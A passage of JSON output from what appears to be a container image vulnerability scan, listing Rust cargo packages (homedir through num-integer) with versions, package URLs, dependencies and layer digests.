"sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "homedir@0.3.6", "Name": "homedir", "Identifier": { "PURL": "pkg:cargo/homedir@0.3.6", "UID": "990a19f0b027fac9" }, "Version": "0.3.6", "DependsOn": [ "cfg-if@1.0.4", "nix@0.30.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "html-escape@0.2.13", "Name": "html-escape", "Identifier": { "PURL": "pkg:cargo/html-escape@0.2.13", "UID": "5acabeea4ce7a889" }, "Version": "0.2.13", "DependsOn": [ "utf8-width@0.1.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http@1.4.1", "Name": "http", "Identifier": { "PURL": "pkg:cargo/http@1.4.1", "UID": "af2a275d2acc7b02" }, "Version": "1.4.1", "DependsOn": [ "bytes@1.11.1", "itoa@1.0.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-body@1.0.1", "Name": "http-body", "Identifier": { "PURL": "pkg:cargo/http-body@1.0.1", "UID": "21dcb133b71d2818" }, "Version": "1.0.1", "DependsOn": [ "bytes@1.11.1", "http@1.4.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-body-util@0.1.3", "Name": "http-body-util", "Identifier": { "PURL": "pkg:cargo/http-body-util@0.1.3", "UID": "9204006c1c86526a" }, "Version": "0.1.3", "DependsOn": [ "bytes@1.11.1", "futures-core@0.3.32", "http@1.4.1", "http-body@1.0.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-content-range@0.2.4", "Name": "http-content-range", "Identifier": { "PURL": "pkg:cargo/http-content-range@0.2.4", "UID": "404e18b80cc1e90a" }, "Version": "0.2.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "httparse@1.10.1", "Name": "httparse", "Identifier": { "PURL": "pkg:cargo/httparse@1.10.1", "UID": "91270f3aaf776bb9" }, "Version": "1.10.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "httpdate@1.0.3", "Name": "httpdate", "Identifier": { "PURL": "pkg:cargo/httpdate@1.0.3", "UID": "9f35bda2d8fc1d08" }, "Version": "1.0.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper@1.10.1", "Name": "hyper", "Identifier": { "PURL": "pkg:cargo/hyper@1.10.1", "UID": "d88f9d7c35553ef4" }, "Version": "1.10.1", "DependsOn": [ "atomic-waker@1.1.2", "bytes@1.11.1", "futures-channel@0.3.32", "futures-core@0.3.32", "h2@0.4.14", "http@1.4.1", "http-body@1.0.1", "httparse@1.10.1", "httpdate@1.0.3", "itoa@1.0.17", "pin-project-lite@0.2.17", "smallvec@1.15.2", "tokio@1.52.3", "want@0.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper-rustls@0.27.7", "Name": "hyper-rustls", "Identifier": { "PURL": "pkg:cargo/hyper-rustls@0.27.7", "UID": "b4fcf5e9e8a39332" }, "Version": "0.27.7", "DependsOn": [ "http@1.4.1", "hyper@1.10.1", "hyper-util@0.1.20", "rustls@0.23.40", "rustls-pki-types@1.14.1", "tokio@1.52.3", "tokio-rustls@0.26.4", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper-util@0.1.20", "Name": "hyper-util", "Identifier": { "PURL": "pkg:cargo/hyper-util@0.1.20", "UID": "5352d4cd3fae58b8" }, "Version": "0.1.20", "DependsOn": [ "base64@0.22.1", "bytes@1.11.1", "futures-channel@0.3.32", "futures-util@0.3.32", "http@1.4.1", "http-body@1.0.1", "hyper@1.10.1", "ipnet@2.12.0", "libc@0.2.186", "percent-encoding@2.3.2", "pin-project-lite@0.2.17", "socket2@0.6.3", "tokio@1.52.3", "tower-service@0.3.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_collections@2.1.1", "Name": "icu_collections", "Identifier": { "PURL": "pkg:cargo/icu_collections@2.1.1", "UID": "b9291ef7e432122a" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "potential_utf@0.1.4", "yoke@0.8.1", "zerofrom@0.1.6", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_locale_core@2.1.1", "Name": "icu_locale_core", "Identifier": { "PURL": "pkg:cargo/icu_locale_core@2.1.1", "UID": "3254251be9bb9a39" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "litemap@0.8.1", "tinystr@0.8.2", "writeable@0.6.2", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_normalizer@2.1.1", "Name": "icu_normalizer", "Identifier": { "PURL": "pkg:cargo/icu_normalizer@2.1.1", "UID": "3212905eadb039a3" }, "Version": "2.1.1", "DependsOn": [ "icu_collections@2.1.1", "icu_normalizer_data@2.1.1", "icu_properties@2.1.2", "icu_provider@2.1.1", "smallvec@1.15.2", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_normalizer_data@2.1.1", "Name": "icu_normalizer_data", "Identifier": { "PURL": "pkg:cargo/icu_normalizer_data@2.1.1", "UID": "e13063e8a54f3d32" }, "Version": "2.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_properties@2.1.2", "Name": "icu_properties", "Identifier": { "PURL": "pkg:cargo/icu_properties@2.1.2", "UID": "df612507b1266994" }, "Version": "2.1.2", "DependsOn": [ "icu_collections@2.1.1", "icu_locale_core@2.1.1", "icu_properties_data@2.1.2", "icu_provider@2.1.1", "zerotrie@0.2.3", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_properties_data@2.1.2", "Name": "icu_properties_data", "Identifier": { "PURL": "pkg:cargo/icu_properties_data@2.1.2", "UID": "8d2e2e8b8aff78e5" }, "Version": "2.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_provider@2.1.1", "Name": "icu_provider", "Identifier": { "PURL": "pkg:cargo/icu_provider@2.1.1", "UID": "d6fc790b579724ab" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "icu_locale_core@2.1.1", "writeable@0.6.2", "yoke@0.8.1", "zerofrom@0.1.6", "zerotrie@0.2.3", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "idna@1.1.0", "Name": "idna", "Identifier": { "PURL": "pkg:cargo/idna@1.1.0", "UID": "6ed18792eb2d866a" }, "Version": "1.1.0", "DependsOn": [ "idna_adapter@1.2.1", "smallvec@1.15.2", "utf8_iter@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "idna_adapter@1.2.1", "Name": "idna_adapter", "Identifier": { "PURL": "pkg:cargo/idna_adapter@1.2.1", "UID": "d8419cb54c5d1825" }, "Version": "1.2.1", "DependsOn": [ "icu_normalizer@2.1.1", "icu_properties@2.1.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ignore@0.4.26", "Name": "ignore", "Identifier": { "PURL": "pkg:cargo/ignore@0.4.26", "UID": "ea5b6977a45182ad" }, "Version": "0.4.26", "DependsOn": [ "crossbeam-deque@0.8.6", "globset@0.4.18", "log@0.4.29", "memchr@2.8.2", "regex-automata@0.4.14", "same-file@1.0.6", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "image@0.25.10", "Name": "image", "Identifier": { "PURL": "pkg:cargo/image@0.25.10", "UID": "dd51f50b6806d2f5" }, "Version": "0.25.10", "DependsOn": [ "bytemuck@1.25.0", "byteorder-lite@0.1.0", "moxcms@0.8.1", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indexmap@2.14.0", "Name": "indexmap", "Identifier": { "PURL": "pkg:cargo/indexmap@2.14.0", "UID": "c4cd3eabffd31e30" }, "Version": "2.14.0", "DependsOn": [ "equivalent@1.0.2", "hashbrown@0.17.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indicatif@0.18.4", "Name": "indicatif", "Identifier": { "PURL": "pkg:cargo/indicatif@0.18.4", "UID": "cb481efba74fc943" }, "Version": "0.18.4", "DependsOn": [ "console@0.16.3", "portable-atomic@1.13.1", "unicode-width@0.2.2", "unit-prefix@0.5.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indoc@2.0.7", "Name": "indoc", "Identifier": { "PURL": "pkg:cargo/indoc@2.0.7", "UID": "344781058a96bf26" }, "Version": "2.0.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "inout@0.1.4", "Name": "inout", "Identifier": { "PURL": "pkg:cargo/inout@0.1.4", "UID": "aa2a3252090e24b8" }, "Version": "0.1.4", "DependsOn": [ "block-padding@0.3.3", "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "insta@1.48.0", "Name": "insta", "Identifier": { "PURL": "pkg:cargo/insta@1.48.0", "UID": "b038e0e6b3fc1be3" }, "Version": "1.48.0", "DependsOn": [ "console@0.16.3", "once_cell@1.21.4", "pest@2.8.6", "pest_derive@2.8.6", "regex@1.12.4", "serde@1.0.228", "similar@2.7.0", "strip-ansi-escapes@0.2.1", "tempfile@3.27.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ipnet@2.12.0", "Name": "ipnet", "Identifier": { "PURL": "pkg:cargo/ipnet@2.12.0", "UID": "d630dd64b1204691" }, "Version": "2.12.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "iri-string@0.7.10", "Name": "iri-string", "Identifier": { "PURL": "pkg:cargo/iri-string@0.7.10", "UID": "a99098b616c48075" }, "Version": "0.7.10", "DependsOn": [ "memchr@2.8.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is-docker@0.2.0", "Name": "is-docker", "Identifier": { "PURL": "pkg:cargo/is-docker@0.2.0", "UID": "23d63b29b33f9276" }, "Version": "0.2.0", "DependsOn": [ "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is-wsl@0.4.0", "Name": "is-wsl", "Identifier": { "PURL": "pkg:cargo/is-wsl@0.4.0", "UID": "8a9106d6a04fd927" }, "Version": "0.4.0", "DependsOn": [ "is-docker@0.2.0", "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is_ci@1.2.0", "Name": "is_ci", "Identifier": { "PURL": "pkg:cargo/is_ci@1.2.0", "UID": "e88c890db76c5746" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is_terminal_polyfill@1.70.2", "Name": "is_terminal_polyfill", "Identifier": { "PURL": "pkg:cargo/is_terminal_polyfill@1.70.2", "UID": "bae1ba91ac5297be" }, "Version": "1.70.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "itertools@0.14.0", "Name": "itertools", "Identifier": { "PURL": "pkg:cargo/itertools@0.14.0", "UID": "8655cae83321e31c" }, "Version": "0.14.0", "DependsOn": [ "either@1.16.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "itoa@1.0.17", "Name": "itoa", "Identifier": { "PURL": "pkg:cargo/itoa@1.0.17", "UID": "93d31de44f871f0f" }, "Version": "1.0.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jiff@0.2.28", "Name": "jiff", "Identifier": { "PURL": "pkg:cargo/jiff@0.2.28", "UID": "2876f959dfc77646" }, "Version": "0.2.28", "DependsOn": [ "log@0.4.29", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jobserver@0.1.34", "Name": "jobserver", "Identifier": { "PURL": "pkg:cargo/jobserver@0.1.34", "UID": "fefc18e5aa6b3f94" }, "Version": "0.1.34", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jsonwebtoken@10.3.0", "Name": "jsonwebtoken", "Identifier": { "PURL": "pkg:cargo/jsonwebtoken@10.3.0", "UID": "c29033b405116e43" }, "Version": "10.3.0", "DependsOn": [ "aws-lc-rs@1.16.2", "base64@0.22.1", "pem@3.0.6", "serde@1.0.228", "serde_json@1.0.150", "signature@2.2.0", "simple_asn1@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lazy_static@1.5.0", "Name": "lazy_static", "Identifier": { "PURL": "pkg:cargo/lazy_static@1.5.0", "UID": "3ef8c5c9d895c140" }, "Version": "1.5.0", "DependsOn": [ "spin@0.9.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "libc@0.2.186", "Name": "libc", "Identifier": { "PURL": "pkg:cargo/libc@0.2.186", "UID": "a9c180108d23c2d7" }, "Version": "0.2.186", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "libm@0.2.16", "Name": "libm", "Identifier": { "PURL": "pkg:cargo/libm@0.2.16", "UID": "2d124066d795b56" }, "Version": "0.2.16", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "linux-raw-sys@0.12.1", "Name": "linux-raw-sys", "Identifier": { "PURL": "pkg:cargo/linux-raw-sys@0.12.1", "UID": "d2c31dbbe12d832d" }, "Version": "0.12.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "linux-raw-sys@0.4.15", "Name": "linux-raw-sys", "Identifier": { "PURL": "pkg:cargo/linux-raw-sys@0.4.15", "UID": "fa83d56ba37b0230" }, "Version": "0.4.15", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "litemap@0.8.1", "Name": "litemap", "Identifier": { "PURL": "pkg:cargo/litemap@0.8.1", "UID": "d92b8a496ddd3c7c" }, "Version": "0.8.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lock_api@0.4.14", "Name": "lock_api", "Identifier": { "PURL": "pkg:cargo/lock_api@0.4.14", "UID": "57f8cefd7f81f111" }, "Version": "0.4.14", "DependsOn": [ "scopeguard@1.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "log@0.4.29", "Name": "log", "Identifier": { "PURL": "pkg:cargo/log@0.4.29", "UID": "6aa493bb872fe928" }, "Version": "0.4.29", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lru-slab@0.1.2", "Name": "lru-slab", "Identifier": { "PURL": "pkg:cargo/lru-slab@0.1.2", "UID": "d5e7e1b1c188a0a0" }, "Version": "0.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lzma-sys@0.1.20", "Name": "lzma-sys", "Identifier": { "PURL": "pkg:cargo/lzma-sys@0.1.20", "UID": "baca6f1465ed458f" }, "Version": "0.1.20", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mailparse@0.16.1", "Name": "mailparse", "Identifier": { "PURL": "pkg:cargo/mailparse@0.16.1", "UID": "fb0ea99ddc40fda0" }, "Version": "0.16.1", "DependsOn": [ "charset@0.1.5", "data-encoding@2.11.0", "quoted_printable@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "matchers@0.2.0", "Name": "matchers", "Identifier": { "PURL": "pkg:cargo/matchers@0.2.0", "UID": "f5bae6d7facbdf11" }, "Version": "0.2.0", "DependsOn": [ "regex-automata@0.4.14" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "md-5@0.10.6", "Name": "md-5", "Identifier": { "PURL": "pkg:cargo/md-5@0.10.6", "UID": "825c6315e61dfa68" }, "Version": "0.10.6", "DependsOn": [ "cfg-if@1.0.4", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "memchr@2.8.2", "Name": "memchr", "Identifier": { "PURL": "pkg:cargo/memchr@2.8.2", "UID": "5a046b1d241e570d" }, "Version": "2.8.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "memmap2@0.9.10", "Name": "memmap2", "Identifier": { "PURL": "pkg:cargo/memmap2@0.9.10", "UID": "b652ee6f3e00ad7c" }, "Version": "0.9.10", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "miette@7.6.0", "Name": "miette", "Identifier": { "PURL": "pkg:cargo/miette@7.6.0", "UID": "fedb8fda74606d89" }, "Version": "7.6.0", "DependsOn": [ "cfg-if@1.0.4", "owo-colors@4.3.0", "supports-color@3.0.2", "supports-hyperlinks@3.2.0", "supports-unicode@3.0.0", "terminal_size@0.4.4", "textwrap@0.16.2", "unicode-width@0.1.14" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mime@0.3.17", "Name": "mime", "Identifier": { "PURL": "pkg:cargo/mime@0.3.17", "UID": "be0a0da897e790a4" }, "Version": "0.3.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mime_guess@2.0.5", "Name": "mime_guess", "Identifier": { "PURL": "pkg:cargo/mime_guess@2.0.5", "UID": "1aa75e1e2a9d5b73" }, "Version": "2.0.5", "DependsOn": [ "mime@0.3.17", "unicase@2.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "minimal-lexical@0.2.1", "Name": "minimal-lexical", "Identifier": { "PURL": "pkg:cargo/minimal-lexical@0.2.1", "UID": "db9fa37610cdc93b" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "miniz_oxide@0.8.9", "Name": "miniz_oxide", "Identifier": { "PURL": "pkg:cargo/miniz_oxide@0.8.9", "UID": "210b9bd8bbf8fbd6" }, "Version": "0.8.9", "DependsOn": [ "adler2@2.0.1", "simd-adler32@0.3.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mio@1.2.0", "Name": "mio", "Identifier": { "PURL": "pkg:cargo/mio@1.2.0", "UID": "ecac48f8c3add4a9" }, "Version": "1.2.0", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "moxcms@0.8.1", "Name": "moxcms", "Identifier": { "PURL": "pkg:cargo/moxcms@0.8.1", "UID": "a8280013dfd64398" }, "Version": "0.8.1", "DependsOn": [ "num-traits@0.2.19", "pxfm@0.1.28" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "munge@0.4.7", "Name": "munge", "Identifier": { "PURL": "pkg:cargo/munge@0.4.7", "UID": "69d785222832b3b5" }, "Version": "0.4.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nix@0.30.1", "Name": "nix", "Identifier": { "PURL": "pkg:cargo/nix@0.30.1", "UID": "14de419f7e522066" }, "Version": "0.30.1", "DependsOn": [ "bitflags@2.13.0", "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nix@0.31.3", "Name": "nix", "Identifier": { "PURL": "pkg:cargo/nix@0.31.3", "UID": "f84538b91feb4697" }, "Version": "0.31.3", "DependsOn": [ "bitflags@2.13.0", "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nom@7.1.3", "Name": "nom", "Identifier": { "PURL": "pkg:cargo/nom@7.1.3", "UID": "f9558f851e5a92a4" }, "Version": "7.1.3", "DependsOn": [ "memchr@2.8.2", "minimal-lexical@0.2.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "normalize-line-endings@0.3.0", "Name": "normalize-line-endings", "Identifier": { "PURL": "pkg:cargo/normalize-line-endings@0.3.0", "UID": "f6ee8f4a8eb779db" }, "Version": "0.3.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nu-ansi-term@0.50.3", "Name": "nu-ansi-term", "Identifier": { "PURL": "pkg:cargo/nu-ansi-term@0.50.3", "UID": "fa94797dda81d6fd" }, "Version": "0.50.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num@0.4.3", "Name": "num", "Identifier": { "PURL": "pkg:cargo/num@0.4.3", "UID": "f0ed1fa1c5bdafa9" }, "Version": "0.4.3", "DependsOn": [ "num-bigint@0.4.6", "num-complex@0.4.6", "num-integer@0.1.46", "num-iter@0.1.45", "num-rational@0.4.2", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-bigint@0.4.6", "Name": "num-bigint", "Identifier": { "PURL": "pkg:cargo/num-bigint@0.4.6", "UID": "32a23ce4bd69f39c" }, "Version": "0.4.6", "DependsOn": [ "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-bigint-dig@0.8.6", "Name": "num-bigint-dig", "Identifier": { "PURL": "pkg:cargo/num-bigint-dig@0.8.6", "UID": "45aa659f5aa8fb8c" }, "Version": "0.8.6", "DependsOn": [ "lazy_static@1.5.0", "libm@0.2.16", "num-integer@0.1.46", "num-iter@0.1.45", "num-traits@0.2.19", "rand@0.8.6", "smallvec@1.15.2", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-complex@0.4.6", "Name": "num-complex", "Identifier": { "PURL": "pkg:cargo/num-complex@0.4.6", "UID": "c26b2dbdd0708711" }, "Version": "0.4.6", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-conv@0.2.0", "Name": "num-conv", "Identifier": { "PURL": "pkg:cargo/num-conv@0.2.0", "UID": "7c1741e0375383f" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-integer@0.1.46", "Name": "num-integer", "Identifier": { "PURL": "pkg:cargo/num-integer@0.1.46", "UID": "3ca4bdfd5aaa30b0" }, "Version": 